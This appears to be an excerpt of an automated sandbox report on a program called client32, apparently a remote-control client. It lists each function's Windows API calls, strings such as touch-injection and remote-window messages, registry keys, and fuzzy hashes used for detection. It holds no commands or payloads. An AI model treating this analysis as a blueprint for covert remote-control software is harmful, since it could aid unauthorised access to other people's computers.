Instruction ID: 21b51dd7fe149e1a5d9ad7f830f962c89668f9ef243aefe38cead8d8046866f3
Opcode Fuzzy Hash: 33344d5b3ab49040102bd7daff6fd58b1d3f5c5988b71863a939ad33b6b593f0
Instruction Fuzzy Hash: D8419375A00219EFDB15CFA4CD84FEEB778FB88714F10456AF926A7684EB74A9008B50

Function 11153730 Relevance: 13.6, APIs: 9, Instructions: 128windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 11153763
CreateCompatibleDC.GDI32(00000000), ref: 11153779
SelectPalette.GDI32(00000000,?,00000000), ref: 1115385F
CreateDIBSection.GDI32(00000000,00000028,00000000,?,00000000,00000000), ref: 11153887
SelectObject.GDI32(00000000,00000000), ref: 1115389B
SelectObject.GDI32(00000000,?), ref: 111538C1
SelectPalette.GDI32(00000000,?,00000000), ref: 111538D1
DeleteDC.GDI32(00000000), ref: 111538D8
ReleaseDC.USER32(00000000,?), ref: 111538E7

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Select$CreateObjectPalette$CompatibleDeleteReleaseSection
String ID:
API String ID: 602542589-0
Opcode ID: 0628f4ae7de687692ce3acf881be40c904e5404e254904012615511724b7f5fd
Instruction ID: d520eb4ea94c146294e5bc27ee2bf9e491812ef3a8de5d3ff178baa6803be84b
Opcode Fuzzy Hash: 0628f4ae7de687692ce3acf881be40c904e5404e254904012615511724b7f5fd
Instruction Fuzzy Hash: 1751FAF5E102289FDB64DF29CD84799BBB8EF89304F4051E9E619E3240E6705E81CF68

Function 11113570 Relevance: 13.6, APIs: 9, Instructions: 77COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000003), ref: 111135A7
FillRect.USER32(?,?,00000000), ref: 111135C4
FillRect.USER32(?,?,00000000), ref: 111135D2
SetROP2.GDI32(?,00000007), ref: 111135FE
SetBkMode.GDI32(?,?), ref: 1111360A
SetBkColor.GDI32(?,?), ref: 11113615
SetTextColor.GDI32(?,?), ref: 11113620
SetTextJustification.GDI32(?,?,?), ref: 11113631
SetTextCharacterExtra.GDI32(?,?), ref: 1111363D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Text$ColorFillRect$CharacterExtraJustificationModeObjectStock
String ID:
API String ID: 1094208222-0
Opcode ID: 1cbc9ed1b46d6c71f90ef3a18c70e791402d54b145c2918b3fccb73878480588
Instruction ID: 11fb3597ac11fe0070853bb1276331f7103533f07ae90b5f1526d6834acfdad0
Opcode Fuzzy Hash: 1cbc9ed1b46d6c71f90ef3a18c70e791402d54b145c2918b3fccb73878480588
Instruction Fuzzy Hash: CE2148B1D01128AFDB04DFA4D988AFEB7B8EF48315F104169FD15AB208D7746A01CBA0

Function 1100D4C0 Relevance: 13.6, APIs: 9, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,11196940), ref: 1100D4D4
GetProcAddress.KERNEL32(00000000,11196930), ref: 1100D4E8
GetProcAddress.KERNEL32(00000000,11196920), ref: 1100D4FD
GetProcAddress.KERNEL32(00000000,11196910), ref: 1100D511
GetProcAddress.KERNEL32(00000000,11196904), ref: 1100D525
GetProcAddress.KERNEL32(00000000,111968E4), ref: 1100D53A
GetProcAddress.KERNEL32(00000000,111968C4), ref: 1100D54E
GetProcAddress.KERNEL32(00000000,111968B4), ref: 1100D562
GetProcAddress.KERNEL32(00000000,111968A4), ref: 1100D577

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 48f9917a60cec6284becfcab2cdcd3c09a63cc3d8906f3dcaa48a20254382f18
Instruction ID: 68c230a61e409724fd33842e5b4cb172798431ad54f26f9eb7569f07803db95b
Opcode Fuzzy Hash: 48f9917a60cec6284becfcab2cdcd3c09a63cc3d8906f3dcaa48a20254382f18
Instruction Fuzzy Hash: E3318CB19127349FEB16CBD8C8C9A79BBE9A758749F80453AD43083248E7B65844CF60

Function 11043240 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 244COMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

_memset.LIBCMT ref: 110433A9
GetSystemMetrics.USER32(0000004C), ref: 110433B9
GetSystemMetrics.USER32(0000004D), ref: 110433C1

Strings

Inject Touch Up @ %d,%d, id=%d, xrefs: 1104348D
Client, xrefs: 11043277
DisableTouch, xrefs: 11043272
Inject Touch Down @ %d,%d, w=%d,h=%d, id=%d, xrefs: 11043456

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem$__wcstoi64_memset
String ID: Client$DisableTouch$Inject Touch Down @ %d,%d, w=%d,h=%d, id=%d$Inject Touch Up @ %d,%d, id=%d
API String ID: 3760389471-710950153
Opcode ID: 6ae8af2f14032af259bd57272b05dbbc70a801c8653cb383b5f76f4abd90dcc8
Instruction ID: 3df93499149cd7a4cb1b4a3ff8c52798864cd21da05d47721e0dc8214685208f
Opcode Fuzzy Hash: 6ae8af2f14032af259bd57272b05dbbc70a801c8653cb383b5f76f4abd90dcc8
Instruction Fuzzy Hash: 2491D270D0465A9FCB04DFA9C880AEEFBF5FF48304F108169E555AB294DB34A905CB90

Function 1101F4D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 199COMMON

Download Yara Rule

APIs

InflateRect.USER32(?,000000FF,000000FF), ref: 1101F564
InflateRect.USER32(?,000000FF,000000FF), ref: 1101F5B8
GetBkColor.GDI32(?), ref: 1101F5BE
GetTextColor.GDI32(?), ref: 1101F645

Part of subcall function 1101EF10: GetSysColor.USER32(00000011), ref: 1101EF58
Part of subcall function 1101EF10: SetTextColor.GDI32(?,00000000), ref: 1101EF63
Part of subcall function 1101EF10: SetBkColor.GDI32(?,?), ref: 1101EF81
Part of subcall function 1101EF10: SelectObject.GDI32(?,?), ref: 1101F00D
Part of subcall function 1101EF10: GetSystemMetrics.USER32(00000047), ref: 1101F018
Part of subcall function 1101EF10: DrawTextA.USER32(?,?,?,?,00000024), ref: 1101F056
Part of subcall function 1101EF10: SelectObject.GDI32(?,?), ref: 1101F064

Strings

VUUU, xrefs: 1101F5F6
VUUU, xrefs: 1101F690

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$Text$InflateObjectRectSelect$DrawMetricsSystem
String ID: VUUU$VUUU
API String ID: 179481525-3149182767
Opcode ID: b696bc920655d17bf41ed58ebd1d76277304b1d90df833fe6010ba542b89aa38
Instruction ID: daec56a1ae35cbc085cb1de7b5199678d62f5094ff6f4e18006982d33a32e855
Opcode Fuzzy Hash: b696bc920655d17bf41ed58ebd1d76277304b1d90df833fe6010ba542b89aa38
Instruction Fuzzy Hash: 7F617F75E0020A9BCB04CFA8D881AAEF7F5FB58324F14466AE415A7385DB74FA05CB94

Function 1103B420 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 1103B476
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1103B49C
SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?), ref: 1103B4C2

Strings

"%PROG%, xrefs: 1103B4A4
c:\program files, xrefs: 1103B4CC
%WIN%, xrefs: 1103B456
%SYS%, xrefs: 1103B47E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Directory$FolderPathSystemWindows
String ID: "%PROG%$%SYS%$%WIN%$c:\program files
API String ID: 1538031420-1992112792
Opcode ID: e9a016464172d398cdd25842ee37a2f59ed83bca3c4f484902448cdd84f2952e
Instruction ID: 2623f2ed80b282b5754acc89838a0d53b3ad1afe3f6d6f3bb9299b9b15bf7866
Opcode Fuzzy Hash: e9a016464172d398cdd25842ee37a2f59ed83bca3c4f484902448cdd84f2952e
Instruction Fuzzy Hash: 50412775E0461A5FCB15CE348C94BEAB7E9EF8930DF0041E8E899D7644EBB59944CB80

Function 11061710 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 136registryCOMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

InitializeCriticalSection.KERNEL32(0000000C), ref: 11061790
RegCreateKeyExA.ADVAPI32(00000000,00000000,00000000,11195264,00000000,0002001F,00000000,00000008,?,?,00000001,00000001), ref: 110617F5
RegCreateKeyExA.ADVAPI32(00000000,?,00000000,11195264,00000000,00020019,00000000,00000008,?), ref: 1106181C
RegCreateKeyExA.ADVAPI32(00000000,ConfigList,00000000,11195264,00000000,0002001F,00000000,?,?), ref: 1106185B
RegCreateKeyExA.ADVAPI32(?,ConfigList,00000000,11195264,00000000,00020019,00000000,?,?), ref: 1106188F

Strings

PCICTL, xrefs: 110617BE, 110617C9
ConfigList, xrefs: 11061855, 1106187F

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$CriticalInitializeSection_malloc_memsetwsprintf
String ID: ConfigList$PCICTL
API String ID: 4014706405-1939909508
Opcode ID: 2c662ba8e1a73180234ba1d403ad4cf72de73a80d5c76a4c65f103bbd16af89e
Instruction ID: f687ffc68a66fe95333fcb084f814ecf12f43e5332dda5a21faccb30f4540590
Opcode Fuzzy Hash: 2c662ba8e1a73180234ba1d403ad4cf72de73a80d5c76a4c65f103bbd16af89e
Instruction Fuzzy Hash: 205130B5A40319AFE710CF65CC85FAABBF8FB84B54F10851AF929DB280D774A504CB50

Function 6EF10F90 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6EF10D40: LoadLibraryA.KERNEL32(IPHLPAPI.DLL,00000000,6EF10F2B,2EC57596,00000000,?,?,6EF2F278,000000FF,?,6EEFAE0A,?,00000000,?,00000080), ref: 6EF10D48
Part of subcall function 6EF10D40: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 6EF10D5B
Part of subcall function 6EF10D40: GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,?,?,-6EF3CB4C,?,?,6EF2F278,000000FF,?,6EEFAE0A,?,00000000,?,00000080), ref: 6EF10D76
Part of subcall function 6EF10D40: _free.LIBCMT ref: 6EF10D84
Part of subcall function 6EF10D40: _malloc.LIBCMT ref: 6EF10D8C
Part of subcall function 6EF10D40: GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,00000000,?,?,?,?,?,6EF2F278,000000FF,?,6EEFAE0A,?,00000000,?), ref: 6EF10D9F
Part of subcall function 6EF10D40: _free.LIBCMT ref: 6EF10DAF

Part of subcall function 6EF10970: LoadLibraryA.KERNEL32(ws2_32.dll), ref: 6EF109A6
Part of subcall function 6EF10970: GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 6EF109C3
Part of subcall function 6EF10970: GetProcAddress.KERNEL32(00000000,WSACleanup), ref: 6EF109CD
Part of subcall function 6EF10970: GetProcAddress.KERNEL32(00000000,socket), ref: 6EF109DB
Part of subcall function 6EF10970: GetProcAddress.KERNEL32(00000000,closesocket), ref: 6EF109E9
Part of subcall function 6EF10970: GetProcAddress.KERNEL32(00000000,WSAIoctl), ref: 6EF109F7
Part of subcall function 6EF10970: FreeLibrary.KERNEL32(00000000), ref: 6EF10A6C

LoadLibraryA.KERNEL32(ws2_32.dll), ref: 6EF10FF6
GetProcAddress.KERNEL32(00000000,ntohl), ref: 6EF1100C
_malloc.LIBCMT ref: 6EF11020
_free.LIBCMT ref: 6EF110E5
FreeLibrary.KERNEL32(?), ref: 6EF110FA

Strings

ws2_32.dll, xrefs: 6EF10FEB
ntohl, xrefs: 6EF11006

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$Load_free$AdaptersAddressesFree_malloc
String ID: ntohl$ws2_32.dll
API String ID: 4086026317-4165132517
Opcode ID: 3aec212e20246bb94c0cd4c9a58c7f49e648491ad925590bbce1e5d0c8ca6fd3
Instruction ID: ab63133b70be031e7e7f1d5028fe2b2883042e0a5af27739066cd0970249379a
Opcode Fuzzy Hash: 3aec212e20246bb94c0cd4c9a58c7f49e648491ad925590bbce1e5d0c8ca6fd3
Instruction Fuzzy Hash: 04416DB5D1421D8BDB64DFA5CC606DA73B9BF94300F1084ADD899A7200EF759A888FD0

Function 6EEF7EF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6EEF7F26
EnterCriticalSection.KERNEL32(6EF3B898,?,?,-000397EB,?), ref: 6EEF7FF9
LeaveCriticalSection.KERNEL32(6EF3B898,?,?,-000397EB,?), ref: 6EEF8047
EnterCriticalSection.KERNEL32(6EF3B898,?,?,-000397EB,?), ref: 6EEF8052
LeaveCriticalSection.KERNEL32(6EF3B898,?,?,-000397EB,?), ref: 6EEF806A

Strings

RESULT, xrefs: 6EEF7F50
b, xrefs: 6EEF8032

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$_memset
String ID: RESULT$b
API String ID: 920729587-4141403093
Opcode ID: 5126e4aac8fbca876fed51f50bed2275f6be666c02563d4700955254b5ea7836
Instruction ID: eba7a13feef8bd343fe1976274c4e46f819766c4494efa719b21c7009d3149cc
Opcode Fuzzy Hash: 5126e4aac8fbca876fed51f50bed2275f6be666c02563d4700955254b5ea7836
Instruction Fuzzy Hash: F84172B1C10219DFEF10DFE48C61BEE76B9AF05304F104866E809EA381EB755A45DBA5

Function 110B9550 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104timeCOMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(00000000,0000002C,110C032C,?,Norm,110C032C), ref: 110B9594
MoveWindow.USER32(00000000,110C032C,110C032C,110C032C,110C032C,00000001,?,Norm,110C032C), ref: 110B9606
SetTimer.USER32(00000000,0000050D,000007D0,00000000), ref: 110B9661

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

j CB::OnRemoteSizeNormal(%d, %d, %d, %d), xrefs: 110B9620
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110B957A
Norm, xrefs: 110B9560
m_hWnd, xrefs: 110B957F

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ErrorExitLastMessageMovePlacementProcessTimerwsprintf
String ID: Norm$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$j CB::OnRemoteSizeNormal(%d, %d, %d, %d)$m_hWnd
API String ID: 1092798621-1973987134
Opcode ID: 0a507017cf31c888094ccedf1f2f22b67d6bec0d8edef4dbc35580d5be2b1013
Instruction ID: 30cf71d2af311bb900ca5215c998a4de0afb875ad97720b4279f64133f28c1c1
Opcode Fuzzy Hash: 0a507017cf31c888094ccedf1f2f22b67d6bec0d8edef4dbc35580d5be2b1013
Instruction Fuzzy Hash: F7411EB5B00609AFDB08DFA4C895EAEF7B5FF88304F104669E519A7344DB30B945CB90

Function 1100F480 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100F4AD
std::_Lockit::_Lockit.LIBCPMT ref: 1100F4D0
std::bad_exception::bad_exception.LIBCMT ref: 1100F554
__CxxThrowException@8.LIBCMT ref: 1100F562
std::_Lockit::_Lockit.LIBCPMT ref: 1100F575
std::locale::facet::_Facet_Register.LIBCPMT ref: 1100F58F

Strings

bad cast, xrefs: 1100F54C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
